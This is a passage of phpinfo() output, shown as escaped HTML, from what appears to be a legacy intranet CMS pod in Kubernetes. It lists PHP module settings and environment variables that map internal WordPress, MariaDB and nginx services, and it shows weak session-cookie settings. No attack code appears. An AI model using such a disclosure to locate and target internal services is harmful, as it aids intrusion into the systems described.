&lt;tr&gt;&lt;td class="e"&gt;Phar: PHP Archive support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Phar API version &lt;/td&gt;&lt;td class="v"&gt;1.1.1 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Phar-based phar archives &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Tar-based phar archives &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;ZIP-based phar archives &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;gzip compression &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;bzip2 compression &lt;/td&gt;&lt;td class="v"&gt;disabled (install ext/bz2) &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Native OpenSSL support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="v"&gt;&lt;td&gt;
Phar based on pear/PHP_Archive, original concept by Davey Shafik.&lt;br /&gt;Phar fully realized by Gregory Beaver and Marcus Boerger.&lt;br /&gt;Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;phar.cache_list&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;phar.readonly&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;phar.require_hash&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_posix" href="#module_posix"&gt;posix&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;POSIX support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_random" href="#module_random"&gt;random&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;Version &lt;/td&gt;&lt;td class="v"&gt;8.3.3 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_readline" href="#module_readline"&gt;readline&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;Readline Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Readline library &lt;/td&gt;&lt;td class="v"&gt;8.2 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;cli.pager&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;cli.prompt&lt;/td&gt;&lt;td class="v"&gt;\b \&amp;gt; &lt;/td&gt;&lt;td class="v"&gt;\b \&amp;gt; &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_reflection" href="#module_reflection"&gt;Reflection&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;Reflection &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_session" href="#module_session"&gt;session&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;Session Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Registered save handlers &lt;/td&gt;&lt;td class="v"&gt;files user  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Registered serializer handlers &lt;/td&gt;&lt;td class="v"&gt;php_serialize php php_binary  &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.auto_start&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.cache_expire&lt;/td&gt;&lt;td class="v"&gt;180&lt;/td&gt;&lt;td class="v"&gt;180&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.cache_limiter&lt;/td&gt;&lt;td class="v"&gt;nocache&lt;/td&gt;&lt;td class="v"&gt;nocache&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.cookie_domain&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.cookie_httponly&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.cookie_lifetime&lt;/td&gt;&lt;td class="v"&gt;0&lt;/td&gt;&lt;td class="v"&gt;0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.cookie_path&lt;/td&gt;&lt;td class="v"&gt;/&lt;/td&gt;&lt;td class="v"&gt;/&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.cookie_samesite&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.cookie_secure&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.gc_divisor&lt;/td&gt;&lt;td class="v"&gt;100&lt;/td&gt;&lt;td class="v"&gt;100&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.gc_maxlifetime&lt;/td&gt;&lt;td class="v"&gt;1440&lt;/td&gt;&lt;td class="v"&gt;1440&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.gc_probability&lt;/td&gt;&lt;td class="v"&gt;1&lt;/td&gt;&lt;td class="v"&gt;1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.lazy_write&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.name&lt;/td&gt;&lt;td class="v"&gt;PHPSESSID&lt;/td&gt;&lt;td class="v"&gt;PHPSESSID&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.referer_check&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.save_handler&lt;/td&gt;&lt;td class="v"&gt;files&lt;/td&gt;&lt;td class="v"&gt;files&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.save_path&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.serialize_handler&lt;/td&gt;&lt;td class="v"&gt;php&lt;/td&gt;&lt;td class="v"&gt;php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.sid_bits_per_character&lt;/td&gt;&lt;td class="v"&gt;4&lt;/td&gt;&lt;td class="v"&gt;4&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.sid_length&lt;/td&gt;&lt;td class="v"&gt;32&lt;/td&gt;&lt;td class="v"&gt;32&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.upload_progress.cleanup&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.upload_progress.enabled&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.upload_progress.freq&lt;/td&gt;&lt;td class="v"&gt;1%&lt;/td&gt;&lt;td class="v"&gt;1%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.upload_progress.min_freq&lt;/td&gt;&lt;td class="v"&gt;1&lt;/td&gt;&lt;td class="v"&gt;1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.upload_progress.name&lt;/td&gt;&lt;td class="v"&gt;PHP_SESSION_UPLOAD_PROGRESS&lt;/td&gt;&lt;td class="v"&gt;PHP_SESSION_UPLOAD_PROGRESS&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.upload_progress.prefix&lt;/td&gt;&lt;td class="v"&gt;upload_progress_&lt;/td&gt;&lt;td class="v"&gt;upload_progress_&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.use_cookies&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.use_only_cookies&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.use_strict_mode&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.use_trans_sid&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_simplexml" href="#module_simplexml"&gt;SimpleXML&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;SimpleXML support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Schema support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_sodium" href="#module_sodium"&gt;sodium&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;sodium support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;libsodium headers version &lt;/td&gt;&lt;td class="v"&gt;1.0.19 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;libsodium library version &lt;/td&gt;&lt;td class="v"&gt;1.0.19 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_spl" href="#module_spl"&gt;SPL&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;SPL support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Interfaces &lt;/td&gt;&lt;td class="v"&gt;OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Classes &lt;/td&gt;&lt;td class="v"&gt;AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_sqlite3" href="#module_sqlite3"&gt;sqlite3&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;SQLite3 support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SQLite Library &lt;/td&gt;&lt;td class="v"&gt;3.44.2 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;sqlite3.defensive&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;sqlite3.extension_dir&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_standard" href="#module_standard"&gt;standard&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;Dynamic Library Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Path to sendmail &lt;/td&gt;&lt;td class="v"&gt;/usr/sbin/sendmail -t -i &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;assert.active&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;assert.bail&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;assert.callback&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;assert.exception&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;assert.warning&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;auto_detect_line_endings&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;default_socket_timeout&lt;/td&gt;&lt;td class="v"&gt;60&lt;/td&gt;&lt;td class="v"&gt;60&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;from&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.trans_sid_hosts&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;session.trans_sid_tags&lt;/td&gt;&lt;td class="v"&gt;a=href,area=href,frame=src,form=&lt;/td&gt;&lt;td class="v"&gt;a=href,area=href,frame=src,form=&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;unserialize_max_depth&lt;/td&gt;&lt;td class="v"&gt;4096&lt;/td&gt;&lt;td class="v"&gt;4096&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;url_rewriter.hosts&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;url_rewriter.tags&lt;/td&gt;&lt;td class="v"&gt;form=&lt;/td&gt;&lt;td class="v"&gt;form=&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;user_agent&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_tokenizer" href="#module_tokenizer"&gt;tokenizer&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;Tokenizer Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_xml" href="#module_xml"&gt;xml&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;XML Support &lt;/td&gt;&lt;td class="v"&gt;active &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;XML Namespace Support &lt;/td&gt;&lt;td class="v"&gt;active &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;libxml2 Version &lt;/td&gt;&lt;td class="v"&gt;2.11.7 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_xmlreader" href="#module_xmlreader"&gt;xmlreader&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;XMLReader &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_xmlwriter" href="#module_xmlwriter"&gt;xmlwriter&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;XMLWriter &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_zlib" href="#module_zlib"&gt;zlib&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;ZLib Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Stream Wrapper &lt;/td&gt;&lt;td class="v"&gt;compress.zlib:// &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Stream Filter &lt;/td&gt;&lt;td class="v"&gt;zlib.inflate, zlib.deflate &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Compiled Version &lt;/td&gt;&lt;td class="v"&gt;1.3.1 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Linked Version &lt;/td&gt;&lt;td class="v"&gt;1.3.1 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zlib.output_compression&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zlib.output_compression_level&lt;/td&gt;&lt;td class="v"&gt;-1&lt;/td&gt;&lt;td class="v"&gt;-1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zlib.output_handler&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;Additional Modules&lt;/h2&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Module Name&lt;/th&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;Environment&lt;/h2&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Variable&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;KUBERNETES_PORT &lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.0.1:443 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;KUBERNETES_SERVICE_PORT &lt;/td&gt;&lt;td class="v"&gt;443 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;HOSTNAME &lt;/td&gt;&lt;td class="v"&gt;legacy-intranet-cms-6f7bf5db84-gb975 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP_INI_DIR &lt;/td&gt;&lt;td class="v"&gt;/usr/local/etc/php &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_SERVICE_PORT &lt;/td&gt;&lt;td class="v"&gt;80 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_PORT &lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.61.204:80 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;WP_NGINX_SERVICE_PORT &lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.4.242:80 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LEGACY_INTRANET_SERVICE_SERVICE_HOST &lt;/td&gt;&lt;td class="v"&gt;10.43.2.241 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;WP_NGINX_SERVICE_SERVICE_PORT &lt;/td&gt;&lt;td class="v"&gt;80 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SHLVL &lt;/td&gt;&lt;td class="v"&gt;2 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP_CGI_VERSION &lt;/td&gt;&lt;td class="v"&gt;8.3.3 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LEGACY_INTRANET_SERVICE_PORT_5000_TCP &lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.2.241:5000 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;HOME &lt;/td&gt;&lt;td class="v"&gt;/root &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP_LDFLAGS &lt;/td&gt;&lt;td class="v"&gt;-Wl,-O1 -pie &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LEGACY_CGI_ENABLED &lt;/td&gt;&lt;td class="v"&gt;true &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_PORT_80_TCP_ADDR &lt;/td&gt;&lt;td class="v"&gt;10.43.61.204 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_MARIADB_PORT_3306_TCP_ADDR &lt;/td&gt;&lt;td class="v"&gt;10.43.147.82 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP_CFLAGS &lt;/td&gt;&lt;td class="v"&gt;-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;WP_NGINX_SERVICE_PORT_80_TCP_ADDR &lt;/td&gt;&lt;td class="v"&gt;10.43.4.242 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP_VERSION &lt;/td&gt;&lt;td class="v"&gt;8.3.3 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LEGACY_INTRANET_SERVICE_PORT &lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.2.241:5000 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LEGACY_INTRANET_SERVICE_SERVICE_PORT &lt;/td&gt;&lt;td class="v"&gt;5000 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LEGACY_MODE &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_MARIADB_PORT_3306_TCP_PORT &lt;/td&gt;&lt;td class="v"&gt;3306 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PORT &lt;/td&gt;&lt;td class="v"&gt;80 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;GPG_KEYS &lt;/td&gt;&lt;td class="v"&gt;1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;WP_NGINX_SERVICE_PORT_80_TCP_PORT &lt;/td&gt;&lt;td class="v"&gt;80 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_MARIADB_SERVICE_HOST &lt;/td&gt;&lt;td class="v"&gt;10.43.147.82 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_MARIADB_PORT_3306_TCP_PROTO &lt;/td&gt;&lt;td class="v"&gt;tcp &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PROTO &lt;/td&gt;&lt;td class="v"&gt;tcp &lt;/td&gt;&lt;/tr&gt;
